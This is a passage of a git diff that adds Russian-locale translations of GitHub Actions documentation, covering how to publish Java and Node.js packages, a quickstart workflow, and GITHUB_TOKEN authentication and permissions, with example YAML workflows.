name: Publish package + uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1 + with: + arguments: publish + env: {% raw %} + MAVEN_USERNAME: ${{ secrets.OSSRH_USERNAME }} + MAVEN_PASSWORD: ${{ secrets.OSSRH_TOKEN }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +{% data reusables.actions.gradle-workflow-steps %} +1. Выполняет действие [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action) с аргументом `publish` для публикации в репозиторий Maven `OSSRH` и {% data variables.product.prodname_registry %}. Переменная среды `MAVEN_USERNAME` будет задана с содержимым секрета `OSSRH_USERNAME`, а переменная среды `MAVEN_PASSWORD` — с содержимым секрета `OSSRH_TOKEN`. Переменная среды `GITHUB_TOKEN` будет задана с содержимым секрета `GITHUB_TOKEN`. Ключ `permissions` указывает доступ, разрешенный секретом `GITHUB_TOKEN`. + + Дополнительные сведения об использовании секретов в рабочем процессе см. в статье "[Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". diff --git a/translations/ru-RU/content/actions/publishing-packages/publishing-java-packages-with-maven.md b/translations/ru-RU/content/actions/publishing-packages/publishing-java-packages-with-maven.md new file mode 100644 index 000000000000..8f63594c0504 --- /dev/null +++ b/translations/ru-RU/content/actions/publishing-packages/publishing-java-packages-with-maven.md @@ -0,0 +1,226 @@ +--- +title: Публикация пакетов Java с помощью Maven +shortTitle: Publish Java packages with Maven +intro: С помощью Maven можно опубликовать пакеты Java в реестре в рамках рабочего процесса непрерывной интеграции (CI). +redirect_from: + - /actions/language-and-framework-guides/publishing-java-packages-with-maven + - /actions/guides/publishing-java-packages-with-maven +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Packaging + - Publishing + - Java + - Maven +ms.openlocfilehash: 550a9f52a8471ccd939e98675544f0991bae5f34 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010040' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +{% data reusables.actions.publishing-java-packages-intro %} + +## Предварительные требования + +Рекомендуется иметь базовое представление о файлах рабочих процессов и параметрах конфигурации. Дополнительные сведения см. в статье со [сведениями о {% data variables.product.prodname_actions %}](/actions/learn-github-actions). + +Дополнительные сведения о создании рабочего процесса непрерывной интеграции для вашего проекта Java с помощью Maven см. на странице [Создание и тестирование Java с помощью Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven). + +Также могут быть полезны базовые знания в следующих областях: + +- [Работа с реестром npm](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry) +- [Переменные среды](/actions/reference/environment-variables) +- [Зашифрованные секреты](/actions/reference/encrypted-secrets) +- [Проверка подлинности в рабочем процессе](/actions/reference/authentication-in-a-workflow) + +## Сведения о конфигурации пакета + +Поля `groupId` и `artifactId` в файле _pom.xml_ создают уникальный идентификатор для вашего пакета, который реестры используют для связывания вашего пакета с реестром. Дополнительные сведения см. в [руководстве по загрузке артефактов в центральный репозиторий](http://maven.apache.org/repository/guide-central-repository-upload.html) в документации по Apache Maven. + +Файл _pom.xml_ также содержит конфигурацию для репозиториев управления распределением, в которые Maven будет развертывать пакеты. Каждый репозиторий должен иметь имя и URL-адрес развертывания. Проверку подлинности для этих репозиториев можно настроить в файле _.m2/settings.xml_ в домашнем каталоге пользователя, запустившего Maven. + +Вы можете использовать действие `setup-java` для настройки репозитория развертывания, а также проверки подлинности для этого репозитория. Дополнительные сведения см. на веб-сайте [`setup-java`](https://github.com/actions/setup-java). + +## Публикация пакетов в центральный репозиторий Maven + +При каждом создании выпуска можно активировать рабочий процесс для публикации пакета. Рабочий процесс в приведенном ниже примере выполняется при активации события `release` с типом `created`. Если тесты CI проходят успешно, рабочий процесс публикует пакет в центральный репозитории Maven. Дополнительные сведения о событии `release` см. в статье "[События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows#release)". + +В этом рабочем процессе вы можете использовать действие `setup-java`. Это действие устанавливает заданную версию JDK в `PATH`, а также настраивает файл Maven _settings.xml_ для публикации пакетов. По умолчанию файл параметров будет настроен для {% data variables.product.prodname_registry %}, но его можно настроить для развертывания в другом реестре пакетов, например в центральном репозитории Maven. Если у вас уже есть репозиторий управления распределением, настроенный в _pom.xml_, вы можете указать этот `id` во время вызова действия `setup-java`. + +Например, если вы выполняли развертывание в центральном репозитории Maven через проект размещения OSSRH, ваш файл _pom.xml_ мог указать репозиторий управления распределением с `id` `ossrh`. + +{% raw %} +```xml{:copy} + + ... + + + ossrh + Central Repository OSSRH + https://oss.sonatype.org/service/local/staging/deploy/maven2/ + + + +``` +{% endraw %} + +С помощью этой конфигурации вы можете создать рабочий процесс, который публикует ваш пакет в центральном репозитории Maven, указав `id` управления репозиторием в действии `setup-java`. Вам также необходимо указать переменные среды, содержащие имя пользователя и пароль для проверки подлинности в репозитории. + +На этапе развертывания вам нужно будет установить переменные среды для имени пользователя, с помощью которого вы будете выполнять проверку подлинности в репозитории, и для секрета, который вы настроили с помощью пароля или маркера для проверки подлинности. Дополнительные сведения см. в статье «[Создание и использование зашифрованных секретов](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)». + +```yaml{:copy} +name: Publish package to the Maven Central Repository +on: + release: + types: [created] +jobs: + publish: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Maven Central Repository + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + server-id: ossrh + server-username: MAVEN_USERNAME + server-password: MAVEN_PASSWORD + - name: Publish package + run: mvn --batch-mode deploy + env: + MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %} + MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %} +``` + +Этот рабочий процесс выполняет следующие действия: + +1. Извлекает копию репозитория проекта. +1. Настраивает Java JDK, а также файл Maven _settings.xml_ для добавления проверки подлинности для репозитория `ossrh` с использованием переменных среды `MAVEN_USERNAME` и `MAVEN_PASSWORD`. +1. {% data reusables.actions.publish-to-maven-workflow-step %} + + Дополнительные сведения об использовании секретов в рабочем процессе см. в статье "[Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + +## Публикация пакетов в {% data variables.product.prodname_registry %} + +При каждом создании выпуска можно активировать рабочий процесс для публикации пакета. Рабочий процесс в приведенном ниже примере выполняется при активации события `release` с типом `created`. Если тесты CI проходят успешно, рабочий процесс публикует пакет в {% data variables.product.prodname_registry %}. Дополнительные сведения о событии `release` см. в статье "[События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows#release)". + +В этом рабочем процессе вы можете использовать действие `setup-java`. Это действие устанавливает указанную версию JDK в `PATH`, а также настраивает файл Maven _settings.xml_ для публикации пакета в {% data variables.product.prodname_registry %}. Сгенерированный файл _settings.xml_ определяет проверку подлинности для сервера с `id` `github`, используя переменную среды `GITHUB_ACTOR` в качестве имени пользователя и переменную среды `GITHUB_TOKEN` в качестве пароля. Переменной среды `GITHUB_TOKEN` присваивается значение специального секрета `GITHUB_TOKEN`. + +{% data reusables.actions.github-token-permissions %} + +Для проекта на основе Maven вы можете использовать эти параметры, создав репозиторий распределения в файле _pom.xml_ с `id` `github`, который указывает на конечную точку {% data variables.product.prodname_registry %}. + +Например, если название вашей организации — octocat, а репозитория — hello-world, то конфигурация {% data variables.product.prodname_registry %} в _pom.xml_ будет похожа на приведенную ниже. + +{% raw %} +```xml{:copy} + + ... + + + github + GitHub Packages + https://maven.pkg.github.com/octocat/hello-world + + + +``` +{% endraw %} + +С помощью этой конфигурации вы можете создать рабочий процесс, который публикует ваш пакет в {% data variables.product.prodname_registry %}, используя автоматически сгенерированный файл _settings.xml_. + +```yaml{:copy} +name: Publish package to GitHub Packages +on: + release: + types: [created] +jobs: + publish: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Publish package + run: mvn --batch-mode deploy + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +Этот рабочий процесс выполняет следующие действия: + +1. Извлекает копию репозитория проекта. +1. Настраивает Java JDK, а также автоматически настраивает файл Maven _settings.xml_, чтобы добавить проверку подлинности для репозитория `github` Maven для использования переменной среды `GITHUB_TOKEN`. +1. {% data reusables.actions.publish-to-packages-workflow-step %} + + Дополнительные сведения об использовании секретов в рабочем процессе см. в статье "[Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". + +## Публикация пакетов в центральный репозиторий Maven и {% data variables.product.prodname_registry %} + +Вы можете опубликовать свои пакеты как в центральном репозитории Maven, так и в {% data variables.product.prodname_registry %}, используя действие `setup-java` для каждого реестра. + +Убедитесь, что ваш файл _pom.xml_ включает репозиторий управления распределением как для вашего репозитория {% data variables.product.prodname_dotcom %}, так и для вашего поставщика центрального репозитория Maven. Например, если вы выполняете развертывание в центральный репозиторий через проект размещения OSSRH, можно указать его в репозитории управления распределением с `id` со значением `ossrh`. Также вы можете указать {% data variables.product.prodname_registry %} в репозитории управления распределением с `id` со значением`github`. + +```yaml{:copy} +name: Publish package to the Maven Central Repository and GitHub Packages +on: + release: + types: [created] +jobs: + publish: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Java for publishing to Maven Central Repository + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + server-id: ossrh + server-username: MAVEN_USERNAME + server-password: MAVEN_PASSWORD + - name: Publish to the Maven Central Repository + run: mvn --batch-mode deploy + env: + MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %} + MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %} + - name: Set up Java for publishing to GitHub Packages + uses: {% data reusables.actions.action-setup-java %} + with: + java-version: '11' + distribution: 'adopt' + - name: Publish to GitHub Packages + run: mvn --batch-mode deploy + env: + GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +Этот рабочий процесс дважды вызывает действие `setup-java`. При каждом запуске действия `setup-java` оно перезаписывает файл Maven _settings.xml_ для публикации пакетов. Для проверки подлинности в репозитории файл _settings.xml_ содержит ссылку на репозиторий управления распределением `id`, а также на имя пользователя и пароль. + +Этот рабочий процесс выполняет следующие действия: + +1. Извлекает копию репозитория проекта. +1. Вызывает `setup-java` в первый раз. В результате выполняется настройка файла Maven _settings.xml_ для репозитория `ossrh` и установка параметров проверки подлинности для переменных среды, которые определяются на следующем шаге. +1. {% data reusables.actions.publish-to-maven-workflow-step %} +1. Вызывает `setup-java` во второй раз. В результате выполняется автоматическая настройка файла Maven _settings.xml_ для {% data variables.product.prodname_registry %}. +1. {% data reusables.actions.publish-to-packages-workflow-step %} + + Дополнительные сведения об использовании секретов в рабочем процессе см. в статье "[Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)". diff --git a/translations/ru-RU/content/actions/publishing-packages/publishing-nodejs-packages.md b/translations/ru-RU/content/actions/publishing-packages/publishing-nodejs-packages.md new file mode 100644 index 000000000000..34ccc8781156 --- /dev/null +++ b/translations/ru-RU/content/actions/publishing-packages/publishing-nodejs-packages.md @@ -0,0 +1,183 @@ +--- +title: Publishing Node.js packages +shortTitle: Publish Node.js packages +intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow. +redirect_from: + - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages + - /actions/language-and-framework-guides/publishing-nodejs-packages + - /actions/guides/publishing-nodejs-packages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Packaging + - Publishing + - Node + - JavaScript +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass. + +## Prerequisites + +We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." + +For more information about creating a CI workflow for your Node.js project, see "[Using Node.js with {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)." + +You may also find it helpful to have a basic understanding of the following: + +- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)" +- "[Environment variables](/actions/reference/environment-variables)" +- "[Encrypted secrets](/actions/reference/encrypted-secrets)" +- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)" + +## About package configuration + + The `name` and `version` fields in the *package.json* file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the *package.json* file. For more information, see "[Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file)" and "[Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules)" in the npm documentation. + +When a local *.npmrc* file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the *.npmrc* file. {% data reusables.actions.setup-node-intro %} + +You can specify the Node.js version installed on the runner using the `setup-node` action. + +If you add steps in your workflow to configure the `publishConfig` fields in your *package.json* file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. + +## Publishing packages to the npm registry + +Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the npm registry if CI tests pass. + +To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." + +By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`. + +If you're publishing a package that includes a scope prefix, include the scope in the name of your *package.json* file. For example, if your npm scope prefix is octocat and the package name is hello-world, the `name` in your *package.json* file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally. + +This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable. + +```yaml{:copy} +name: Publish Package to npmjs +on: + release: + types: [created] +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + # Setup .npmrc file to publish to npm + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.x' + registry-url: 'https://registry.npmjs.org' + - run: npm ci + - run: npm publish + env: + NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %} +``` + +In the example above, the `setup-node` action creates an *.npmrc* file on the runner with the following contents: + +```ini +//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} +registry=https://registry.npmjs.org/ +always-auth=true +``` + +Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials. + +## Publishing packages to {% data variables.product.prodname_registry %} + +Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs anytime the `release` event with type `created` occurs. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. + +### Configuring the destination repository + +Linking your package to {% data variables.product.prodname_registry %} using the `repository` key is optional. If you choose not to provide the `repository` key in your *package.json* file, then {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the *package.json* file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. If the `url` specified in the `repository` key is invalid, your package may still be published however it won't be linked to the repository source as intended. + +If you do provide the `repository` key in your *package.json* file, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below *package.json* results in a package named `my-amazing-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository. Once published, only the repository source is updated, and the package doesn't inherit any permissions from the destination repository. + +```json +{ + "name": "@octocat/my-amazing-package", + "repository": { + "type": "git", + "url": "https://github.com/octocat/my-other-repo.git" + }, +``` + +### Authenticating to the destination repository + +To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.actions.github-token-permissions %} + +If you want to publish your package to a different repository, you must use a {% data variables.product.pat_v1 %} that has permission to write to packages in the destination repository. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)." + +### Example workflow + +This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable. + +```yaml{:copy} +name: Publish package to GitHub Packages +on: + release: + types: [created] +jobs: + build: + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + steps: + - uses: {% data reusables.actions.action-checkout %} + # Setup .npmrc file to publish to GitHub Packages + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.x' + registry-url: 'https://npm.pkg.github.com' + # Defaults to the user or organization that owns the workflow file + scope: '@octocat' + - run: npm ci + - run: npm publish + env: + NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} +``` + +The `setup-node` action creates an *.npmrc* file on the runner. When you use the `scope` input to the `setup-node` action, the *.npmrc* file includes the scope prefix. By default, the `setup-node` action sets the scope in the *.npmrc* file to the account that contains that workflow file. + +```ini +//npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN} +@octocat:registry=https://npm.pkg.github.com +always-auth=true +``` + +## Publishing packages using yarn + +If you use the Yarn package manager, you can install and publish packages using Yarn. + +```yaml{:copy} +name: Publish Package to npmjs +on: + release: + types: [created] +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + # Setup .npmrc file to publish to npm + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '16.x' + registry-url: 'https://registry.npmjs.org' + # Defaults to the user or organization that owns the workflow file + scope: '@octocat' + - run: yarn + - run: yarn publish + env: + NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %} +``` diff --git a/translations/ru-RU/content/actions/quickstart.md b/translations/ru-RU/content/actions/quickstart.md new file mode 100644 index 000000000000..44f3ab36a3bc --- /dev/null +++ b/translations/ru-RU/content/actions/quickstart.md @@ -0,0 +1,89 @@ +--- +title: Quickstart for GitHub Actions +intro: 'Try out the features of {% data variables.product.prodname_actions %} in 5 minutes or less.' +allowTitleToDifferFromFilename: true +redirect_from: + - /actions/getting-started-with-github-actions/starting-with-preconfigured-workflow-templates +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: quick_start +topics: + - Fundamentals +shortTitle: Quickstart +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +You only need a {% data variables.product.prodname_dotcom %} repository to create and run a {% data variables.product.prodname_actions %} workflow. In this guide, you'll add a workflow that demonstrates some of the essential features of {% data variables.product.prodname_actions %}. + +The following example shows you how {% data variables.product.prodname_actions %} jobs can be automatically triggered, where they run, and how they can interact with the code in your repository. + +## Creating your first workflow + +1. Create a `.github/workflows` directory in your repository on {% data variables.product.prodname_dotcom %} if this directory does not already exist. +1. In the `.github/workflows` directory, create a file named `github-actions-demo.yml`. For more information, see "[Creating new files](/github/managing-files-in-a-repository/creating-new-files)." +1. Copy the following YAML contents into the `github-actions-demo.yml` file: + + ```yaml{:copy} + name: GitHub Actions Demo + {%- ifversion actions-run-name %} + run-name: {% raw %}${{ github.actor }}{% endraw %} is testing out GitHub Actions 🚀 + {%- endif %} + on: [push] + jobs: + Explore-GitHub-Actions: + runs-on: ubuntu-latest + steps: + - run: echo "🎉 The job was automatically triggered by a {% raw %}${{ github.event_name }}{% endraw %} event." + - run: echo "🐧 This job is now running on a {% raw %}${{ runner.os }}{% endraw %} server hosted by GitHub!" + - run: echo "🔎 The name of your branch is {% raw %}${{ github.ref }}{% endraw %} and your repository is {% raw %}${{ github.repository }}{% endraw %}." + - name: Check out repository code + uses: {% data reusables.actions.action-checkout %} + - run: echo "💡 The {% raw %}${{ github.repository }}{% endraw %} repository has been cloned to the runner." + - run: echo "🖥️ The workflow is now ready to test your code on the runner." + - name: List files in the repository + run: | + ls {% raw %}${{ github.workspace }}{% endraw %} + - run: echo "🍏 This job's status is {% raw %}${{ job.status }}{% endraw %}." + ``` +1. Scroll to the bottom of the page and select **Create a new branch for this commit and start a pull request**. Then, to create a pull request, click **Propose new file**. + + ![Commit workflow file](/assets/images/help/repository/actions-quickstart-commit-new-file.png) + +Committing the workflow file to a branch in your repository triggers the `push` event and runs your workflow. + +## Viewing your workflow results + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.actions-tab %} +1. In the left sidebar, click the workflow you want to see. + + ![Workflow list in left sidebar](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png) +1. From the list of workflow runs, click the name of the run you want to see. + + ![Name of workflow run](/assets/images/help/repository/actions-quickstart-run-name.png) +1. Under **Jobs** , click the **Explore-GitHub-Actions** job. + + ![Locate job](/assets/images/help/repository/actions-quickstart-job.png) +1. The log shows you how each of the steps was processed. Expand any of the steps to view its details. + + ![Example workflow results](/assets/images/help/repository/actions-quickstart-logs.png) + + For example, you can see the list of files in your repository: + ![Example action detail](/assets/images/help/repository/actions-quickstart-log-detail.png) + +The example workflow you just added is triggered each time code is pushed to the branch, and shows you how {% data variables.product.prodname_actions %} can work with the contents of your repository. For an in-depth tutorial, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." + +## More starter workflows + +{% data reusables.actions.workflow-template-overview %} + +## Next steps + +{% data reusables.actions.onboarding-next-steps %} diff --git a/translations/ru-RU/content/actions/security-guides/automatic-token-authentication.md b/translations/ru-RU/content/actions/security-guides/automatic-token-authentication.md new file mode 100644 index 000000000000..ba4f2ce5f549 --- /dev/null +++ b/translations/ru-RU/content/actions/security-guides/automatic-token-authentication.md @@ -0,0 +1,125 @@ +--- +title: Automatic token authentication +intro: '{% data variables.product.prodname_dotcom %} provides a token that you can use to authenticate on behalf of {% data variables.product.prodname_actions %}.' +redirect_from: + - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token + - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token + - /actions/configuring-and-managing-workflows/authenticating-with-the-github_token + - /actions/reference/authentication-in-a-workflow +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Automatic token authentication +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About the `GITHUB_TOKEN` secret + +At the start of each workflow run, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in a workflow run. + +When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)." + +Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %} + +The token is also available in the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." + +## Using the `GITHUB_TOKEN` in a workflow + +You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API request. + +{% note %} + +**Important:** An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)." + +{% endnote %} + +{% data reusables.actions.actions-do-not-trigger-workflows %} + +### Example 1: passing the `GITHUB_TOKEN` as an input + +{% data reusables.actions.github_token-input-example %} + +### Example 2: calling the REST API + +You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API: + +```yaml +name: Create issue on commit + +on: [ push ] + +jobs: + create_issue: + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: Create issue using REST API + run: | + curl --request POST \ + --url {% data variables.product.api_url_code %}/repos/${% raw %}{{ github.repository }}{% endraw %}/issues \ + --header 'authorization: Bearer ${% raw %}{{ secrets.GITHUB_TOKEN }}{% endraw %}' \ + --header 'content-type: application/json' \ + --data '{ + "title": "Automated issue for commit: ${% raw %}{{ github.sha }}{% endraw %}", + "body": "This issue was automatically created by the GitHub Action workflow **${% raw %}{{ github.workflow }}{% endraw %}**. \n\n The commit hash was: _${% raw %}{{ github.sha }}{% endraw %}_." + }' \ + --fail +``` + +## Permissions for the `GITHUB_TOKEN` + +For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see "[{% data variables.product.prodname_github_app %} Permissions](/rest/reference/permissions-required-for-github-apps)." + +The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise)," "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization)," or "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)." + +| Scope | Default access
(permissive) | Default access
(restricted) | Maximum access
by forked repos | +|---------------|-----------------------------|-----------------------------|--------------------------------| +| actions | read/write | none | read | +| checks | read/write | none | read | +| contents | read/write | read | read | +| deployments | read/write | none | read |{% ifversion fpt or ghec %} +| id-token | none | none | read |{% endif %} +| issues | read/write | none | read | +| metadata | read | read | read | +| packages | read/write | none | read | +| pages | read/write | none | read | +| pull-requests | read/write | none | read | +| repository-projects | read/write | none | read | +| security-events | read/write | none | read | +| statuses | read/write | none | read | + +{% data reusables.actions.workflow-runs-dependabot-note %} + +### Modifying the permissions for the `GITHUB_TOKEN` + +You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access. + +You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)." + +You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access. + +{% data reusables.actions.forked-write-permission %} + +The two workflow examples earlier in this article show the `permissions` key being used at the workflow level, and at the job level. In [Example 1](#example-1-passing-the-github_token-as-an-input) the two permissions are specified for the entire workflow. In [Example 2](#example-2-calling-the-rest-api) write access is granted for one scope for a single job. + +For full details of the `permissions` key, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#permissions)." + +#### How the permissions are calculated for a workflow job + +The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only. + +### Granting additional permissions + +If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a {% data variables.product.pat_generic %} and set it as a secret in your repository: + +1. Use or create a token with the appropriate permissions for that repository. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +1. Add the token as a secret in your workflow's repository, and refer to it using the {%raw%}`${{ secrets.SECRET_NAME }}`{% 